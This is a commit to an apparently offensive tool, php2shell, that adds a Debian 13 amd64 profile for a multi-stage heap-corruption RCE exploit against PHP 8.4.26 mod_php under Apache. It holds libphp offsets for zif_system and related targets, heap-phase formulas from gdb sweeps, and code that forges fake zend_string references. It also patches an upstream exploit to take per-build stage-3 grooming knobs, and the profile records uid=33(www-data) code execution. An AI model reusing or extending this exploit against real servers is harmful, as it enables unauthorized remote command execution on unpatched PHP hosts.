Skip to content

Commit 3d58202

Browse files
author
oOSH4rpZOo
committed
Add deb13-apxs2 amd64 profile and stage-3 composition knobs
New build profile: PHP 8.4.26 source-built mod_php (apxs2) on Debian 13, Apache 2.4.69 prefork, one worker, amd64. Offsets differ from the docker 8.4.26 image (different toolchain): zif_system 0x3b19a0, zval_ptr_dtor 0x584f00, htdata 0x6e0d8. Stages 1-2 dispatch cleanly with these values. Third stage-3 layout with a K=5 bin-32 phase shift: the freed session reference lands at R0 = chunk+0x2260+0x60*K, linear in the number of preceding bin-32 pads (gdb watchpoint sweep). Five (4,4) pads align the bin-56 reclaim slot so a 31-byte fake reference is written whole (chars at R0). The built-in 55-byte ref frames the same payload at R0+8 and never reclaims here. New per-build stage-3 knobs (profile fields, env-driven through the same P2S_STAGE3_PADS pattern): stage3_cookie, stage3_wfields, stage3_fake_len, stage3_fakes, stage3_b_name_len. php2shell_calibrate.py --stage3-pads accepts an explicit a:bxN spec alongside the two built-in layouts. Stage-3 phase is instance-dependent on this build: uid=33(www-data) 4/4 runs with the profile's parameters on one apache master instance, no reclaim on masters started the same way (probabilistic, like the 8.4.25 profile; restart and retry). Proof command read out-of-band from /tmp inside the apache mount namespace (PrivateTmp). All knobs documented in docs/upstream-changes.md section 2b.
1 parent a3aa441 commit 3d58202

6 files changed

Lines changed: 243 additions & 23 deletions

File tree

‎docs/upstream-changes.md‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,56 @@ if not (0x10000 < p < 0x0001000000000000):
5050
These overrides are what let one upstream checkout serve profiles with
5151
different `stage1_n`, forge length and stage-2 parameters.
5252

53+
## 2b. Stage-3 pads override
54+
55+
In `Exploit.__init__`, right after the stage-2 overrides:
56+
57+
```python
58+
pads_env = _os.environ.get("P2S_STAGE3_PADS")
59+
if pads_env:
60+
self.stage3_pads = [tuple(int(x) for x in item.split(":"))
61+
for item in pads_env.split(",") if item]
62+
```
63+
64+
Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs;
65+
`php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and
66+
`php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same
67+
form with repetition factors, e.g. `4:4x5,31:31x6`.
68+
69+
The other stage-3 composition knobs (all optional profile fields, all
70+
environment-driven the same way):
71+
72+
| profile field | env | effect |
73+
| --- | --- | --- |
74+
| `stage3_cookie` | `P2S_STAGE3_COOKIE` | send `Cookie: PHPSESSID=<32 bytes>` on the stage-3 first request |
75+
| `stage3_wfields` | `P2S_STAGE3_WFIELDS` | small fill fields (5-char name, 1-byte value) prepended to request 1 |
76+
| `stage3_fake_len` | `P2S_STAGE3_FAKE_LEN` | byte length of the fake-reference value (replaces the built-in 55-byte ref) |
77+
| `stage3_fakes` | `P2S_STAGE3_FAKES` | number of fake-reference fields in the reclaim run (built-in: 2) |
78+
| `stage3_b_name_len` | `P2S_STAGE3_B_NAME_LEN` | name length of the request-2 fields (built-in: 31) |
79+
80+
Rationale (measured on a source-built Debian 13 amd64 8.4.26 lab, Apache
81+
2.4.69 apxs2, one prefork worker): non-docker builds shift the startup heap,
82+
so every byte of the stage-3 composition is load-bearing. Measured facts:
83+
84+
- The freed session reference lands at `R0 = chunk+0x2260+0x60*K`, linear in
85+
the number K of preceding bin-32 pads (gdb watchpoint sweep 0..16). The two
86+
built-in layouts imply K=6/K=8 and misphase this build; five `(4,4)` pads
87+
(K=5) align the bin-56 reclaim slot so a 31-byte fake reference is written
88+
whole with chars at R0. The built-in 55-byte ref frames the same payload at
89+
R0+8 and never reclaims here, hence `stage3_fake_len`.
90+
- Request 1 carries the PHPSESSID cookie and five 5-char/1-byte fill fields,
91+
request 2 uses 3-char field names (`15x` 167-byte fake hashtables then the
92+
fake references) — both participate in the phase.
93+
- Stages 1-2 dispatch cleanly on every attempt with this build's offsets;
94+
stage 3 is instance-dependent: 4/4 runs on one apache master instance, 0/5+
95+
on others started the same way (matches the 8.4.25 probabilistic precedent
96+
and the known build-to-build lifecycle variance; rotate/restart and retry).
97+
- Proof command runs inside the apache mount namespace (PrivateTmp): read it
98+
out-of-band (`nsenter -t <pid> -m -- cat /tmp/p9b`), the dispatcher reports
99+
the run as blind on such targets.
100+
101+
See `profiles/php-8.4.26-deb13-apxs2-amd64.json`.
102+
53103
## 3. Optional `noexpose` profile
54104

55105
For `expose_php=Off` research, the stage-1 bookworm parameters are combined with
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"name": "php-8.4.26-deb13-apxs2-amd64",
3+
"php_version": "8.4.26",
4+
"branch": "8.4",
5+
"fixed_in": "8.4.27",
6+
"sapi": "apache2handler",
7+
"verified": true,
8+
"rce": true,
9+
"upstream_profile": "lab",
10+
"libphp": {
11+
"zif_system": "0x3b19a0",
12+
"zval_ptr_dtor": "0x584f00",
13+
"htdata": "0x6e0d8"
14+
},
15+
"stages": {
16+
"stage1_n": 892,
17+
"stage1_forge_len": 79,
18+
"stage2_t": 442,
19+
"stage2_v": 1,
20+
"stage3_pads": [
21+
[4, 4],
22+
[4, 4],
23+
[4, 4],
24+
[4, 4],
25+
[4, 4],
26+
[31, 31],
27+
[31, 31],
28+
[31, 31],
29+
[31, 31],
30+
[31, 31],
31+
[31, 31]
32+
],
33+
"stage3_carrier": true,
34+
"stage3_cookie": true,
35+
"stage3_wfields": 5,
36+
"stage3_fake_len": 31,
37+
"stage3_fakes": 12,
38+
"stage3_b_name_len": 3
39+
},
40+
"config": {
41+
"memory_limit": 8388608,
42+
"display_errors": "On (vhost php.ini, leak delivered in Set-Cookie)",
43+
"session_upload_progress": "On",
44+
"workers": 1
45+
},
46+
"measured": {
47+
"chunk_base": "0x7fbcf4200000"
48+
},
49+
"status": "RCE verified on a source-built Debian 13 lab (apxs2, Apache 2.4.69 prefork, 1 worker): uid=33(www-data) 4/4 runs through the vendor engine with this profile's parameters; stages 1-2 dispatch cleanly on every attempt. Stage-3 phase is instance-dependent (after an apache restart, a fresh master may not reclaim; retry on a new instance) and the layout differs from the docker 8.4.26 image (different toolchain): third stage-3 layout with a K=5 bin-32 phase shift. Each (4,4) pad allocates the session reference at the k-th bin-32 slot, shifting the fake-reference slot linearly, R0 = chunk+0x2260+0x60*K (gdb watchpoint sweep 0..16); K=5 places the bin-56 reclaim slot so the 31-byte fake reference is written whole (chars at R0, framing differs from the upstream 55-byte carrier whose chars land at R0+8). Stage-3 request 1 carries a PHPSESSID cookie and five 5-char/1-byte fill fields; request 2 reclaims with 15x 167-byte fake hashtables then 12x 31-byte fake references, all with 3-char field names. Command proof read out-of-band from /tmp inside the apache mount namespace (PrivateTmp; nsenter).",
50+
"oom_mb": 12,
51+
"oom_margin_mb": 12,
52+
"memory_limit_tested_mb": [
53+
8
54+
],
55+
"distro": "debian",
56+
"arch": "amd64"
57+
}

‎profiles/schema.json‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -148,6 +148,30 @@
148148
"null"
149149
],
150150
"description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated."
151+
},
152+
"stage3_cookie": {
153+
"type": "boolean",
154+
"description": "Send Cookie: PHPSESSID=<32 bytes> on the stage-3 first request (keeps PS(id) valid and participates in the heap phase on some builds)."
155+
},
156+
"stage3_wfields": {
157+
"type": "integer",
158+
"minimum": 0,
159+
"description": "Small fill fields (5-char name, 1-byte value) prepended to the stage-3 first request."
160+
},
161+
"stage3_fake_len": {
162+
"type": "integer",
163+
"minimum": 24,
164+
"description": "Byte length of the fake-reference zend_string value (31 = chars land at R0 on the deb13-apxs2 build; upstream default 55 = chars at R0+8)."
165+
},
166+
"stage3_fakes": {
167+
"type": "integer",
168+
"minimum": 1,
169+
"description": "Number of fake-reference fields in the stage-3 reclaim run."
170+
},
171+
"stage3_b_name_len": {
172+
"type": "integer",
173+
"minimum": 1,
174+
"description": "Name length of the stage-3 second-request fields (3-char names shift the reclaim phase versus 31-char names)."
151175
}
152176
},
153177
"additionalProperties": false

‎tools/php2shell_auto.py‎

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -485,6 +485,18 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) ->
485485
("stage2_v", "P2S_STAGE2_V")):
486486
if stages.get(key) is not None:
487487
env[env_key] = str(stages[key])
488+
pads = stages.get("stage3_pads")
489+
if pads:
490+
env["P2S_STAGE3_PADS"] = ",".join(f"{a}:{b}" for a, b in pads)
491+
stage3_cookie = stages.get("stage3_cookie")
492+
if stage3_cookie is not None:
493+
env["P2S_STAGE3_COOKIE"] = "1" if stage3_cookie else "0"
494+
for key, env_key in (("stage3_wfields", "P2S_STAGE3_WFIELDS"),
495+
("stage3_fake_len", "P2S_STAGE3_FAKE_LEN"),
496+
("stage3_fakes", "P2S_STAGE3_FAKES"),
497+
("stage3_b_name_len", "P2S_STAGE3_B_NAME_LEN")):
498+
if stages.get(key) is not None:
499+
env[env_key] = str(stages[key])
488500

489501
if not stream:
490502
result = subprocess.run(cmd, capture_output=True, text=True, env=env)

‎tools/php2shell_calibrate.py‎

Lines changed: 34 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -267,12 +267,37 @@ def calibrate_stage2(mod, ex, dtor, hints):
267267
return 0, hints.get("stage2_t", 0)
268268

269269

270+
def parse_pads(spec):
271+
"""Accepts bookworm | lab | an explicit pads spec like '4:4x5,31:31x6'."""
272+
if spec is None or spec in ("bookworm", "lab"):
273+
return spec
274+
pads = []
275+
for part in spec.split(","):
276+
m = re.fullmatch(r"(\d+):(\d+)(?:x(\d+))?", part.strip())
277+
if not m:
278+
raise SystemExit(f"bad --stage3-pads item: {part!r} (expected a:bxN)")
279+
pads += [(int(m[1]), int(m[2]))] * int(m[3] or 1)
280+
return pads
281+
282+
283+
def stage3_profile_json(stage3):
284+
"""(stage3_pads, stage3_carrier) pair for the profile JSON."""
285+
if not stage3:
286+
return None, None
287+
pads = stage3["pads"]
288+
if pads == "lab":
289+
return [[8, 7]] + [[7, 7]] * 5, False
290+
if isinstance(pads, list):
291+
return [list(p) for p in pads], True
292+
return [[31, 31]] * 6, True
293+
294+
270295
def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
271296
if not chunk or not lib:
272297
return False, None
273298
layouts = []
274299
if hints.get("stage3_htdata"):
275-
layouts.append(("hint", hints["stage3_htdata"], hints.get("stage3_pads", "bookworm")))
300+
layouts.append(("hint", hints["stage3_htdata"], parse_pads(hints.get("stage3_pads"))))
276301
else:
277302
for off in (0x690D8, 0x6E0D8, 0x5404A):
278303
for pads in ("bookworm", "lab"):
@@ -286,6 +311,9 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
286311
if pads == "lab":
287312
ex.stage3_carrier = False
288313
ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
314+
elif isinstance(pads, list):
315+
ex.stage3_carrier = True
316+
ex.stage3_pads = pads
289317
else:
290318
ex.stage3_carrier = True
291319
ex.stage3_pads = [(31, 31)] * 6
@@ -323,7 +351,8 @@ def main() -> int:
323351
ap.add_argument("--stage2-t", type=int)
324352
ap.add_argument("--stage2-v", type=int, default=16)
325353
ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0))
326-
ap.add_argument("--stage3-pads", choices=("bookworm", "lab"))
354+
ap.add_argument("--stage3-pads", default=None,
355+
help='bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"')
327356
ap.add_argument("--distro", default="unknown")
328357
ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None)
329358
args = ap.parse_args()
@@ -369,6 +398,7 @@ def main() -> int:
369398
rce, stage3 = calibrate_stage3(mod, ex, chunk, lib, sym["zif_system"],
370399
args.proof_file, vars(args))
371400

401+
s3_pads, s3_carrier = stage3_profile_json(stage3)
372402
profile = {
373403
"name": f"php-{version}-{args.distro}",
374404
"php_version": version,
@@ -391,9 +421,8 @@ def main() -> int:
391421
"stage1_forge_len": forge_len,
392422
"stage2_t": t_index,
393423
"stage2_v": args.stage2_v,
394-
"stage3_pads": ([[31, 31]] * 6 if stage3 and stage3["pads"] == "bookworm"
395-
else ([(8, 7)] + [(7, 7)] * 5 if stage3 else None)),
396-
"stage3_carrier": (stage3["pads"] == "bookworm") if stage3 else None,
424+
"stage3_pads": s3_pads,
425+
"stage3_carrier": s3_carrier,
397426
},
398427
"config": cfg,
399428
"measured": {

‎tools/php2shell_upstream.py‎

Lines changed: 66 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -22,29 +22,77 @@ def _read(repo: str) -> tuple[str, str] | None:
2222

2323

2424
def patch_params(repo: str) -> bool:
25-
"""Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V."""
25+
"""Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V / P2S_STAGE3_*."""
2626
found = _read(repo)
2727
if not found:
2828
return False
2929
path, source = found
30+
knobs_block = (
31+
" # P2S_STAGE3_KNOBS\n"
32+
" pads_env = _os.environ.get('P2S_STAGE3_PADS')\n"
33+
" if pads_env:\n"
34+
" self.stage3_pads = [tuple(int(x) for x in item.split(':'))\n"
35+
" for item in pads_env.split(',') if item]\n"
36+
" self._p2s_cookie = _os.environ.get('P2S_STAGE3_COOKIE') == '1'\n"
37+
" self._p2s_wfields = int(_os.environ.get('P2S_STAGE3_WFIELDS', '0') or 0)\n"
38+
" self._p2s_fake_len = int(_os.environ.get('P2S_STAGE3_FAKE_LEN', '0') or 0)\n"
39+
" self._p2s_fakes = int(_os.environ.get('P2S_STAGE3_FAKES', '0') or 0)\n"
40+
" self._p2s_b_name_len = int(_os.environ.get('P2S_STAGE3_B_NAME_LEN', '0') or 0)\n")
3041
if "P2S_STAGE1_N" in source:
31-
return False
32-
anchor = " self.stage3_carrier = False\n"
33-
if anchor not in source:
34-
return False
35-
inject = anchor + (
36-
" import os as _os\n"
37-
" self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n"
38-
" self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n"
39-
" self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n"
40-
" self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n")
41-
source = source.replace(anchor, inject, 1)
42-
source = source.replace('forge = bytearray(b"A" * 79)',
43-
'forge = bytearray(b"A" * self.stage1_forge_len)')
44-
source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:',
45-
'if 0x10000 < v < 0x0001000000000000:')
46-
source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):',
47-
'if not (0x10000 < p < 0x0001000000000000):')
42+
if "P2S_STAGE3_KNOBS" in source:
43+
return False
44+
anchor = " self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
45+
if anchor not in source:
46+
return False
47+
source = source.replace(anchor, anchor + knobs_block, 1)
48+
else:
49+
anchor = " self.stage3_carrier = False\n"
50+
if anchor not in source:
51+
return False
52+
inject = anchor + (
53+
" import os as _os\n"
54+
" self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n"
55+
" self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n"
56+
" self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n"
57+
" self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
58+
+ knobs_block)
59+
source = source.replace(anchor, inject, 1)
60+
source = source.replace('forge = bytearray(b"A" * 79)',
61+
'forge = bytearray(b"A" * self.stage1_forge_len)')
62+
source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:',
63+
'if 0x10000 < v < 0x0001000000000000:')
64+
source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):',
65+
'if not (0x10000 < p < 0x0001000000000000):')
66+
# stage-3 composition knobs (measured per build; see docs/upstream-changes.md 2b)
67+
stage3_patches = [
68+
(" parts += [self._file_part(), self._big_field()]",
69+
" for wi in range(getattr(self, '_p2s_wfields', 0) or 0):\n"
70+
" parts.append({\"name\": \"s%04d\" % wi, \"data\": b\"w\"})\n"
71+
" parts += [self._file_part(), self._big_field()]"),
72+
('if self.profile == "bookworm":',
73+
'if self.profile == "bookworm" or getattr(self, "_p2s_cookie", False):'),
74+
("else:\n"
75+
" for i in range(15):\n"
76+
" parts.append({\"name\": f\"a{i:030d}\"[:31], \"data\": ht})\n"
77+
" for i in range(2):\n"
78+
" parts.append({\"name\": f\"f{i:02d}\", \"data\": ref})",
79+
"else:\n"
80+
" bnl = getattr(self, '_p2s_b_name_len', 0) or 31\n"
81+
" for i in range(15):\n"
82+
" parts.append({\"name\": f\"a{i:030d}\"[:bnl], \"data\": ht})\n"
83+
" flen = getattr(self, '_p2s_fake_len', 0) or 0\n"
84+
" nfakes = getattr(self, '_p2s_fakes', 0) or 2\n"
85+
" if flen:\n"
86+
" fake = (struct.pack(\"<II\", 1, 0x1A) + struct.pack(\"<Q\", htdata)\n"
87+
" + struct.pack(\"<II\", 0x307, 0) + b\"F\" * (flen - 24))\n"
88+
" else:\n"
89+
" fake = ref\n"
90+
" for i in range(nfakes):\n"
91+
" parts.append({\"name\": f\"f{i:02d}\", \"data\": fake})"),
92+
]
93+
for old, new in stage3_patches:
94+
if old in source:
95+
source = source.replace(old, new, 1)
4896
with open(path, "w", encoding="utf-8") as fh:
4997
fh.write(source)
5098
return True

0 commit comments

Comments
 (0)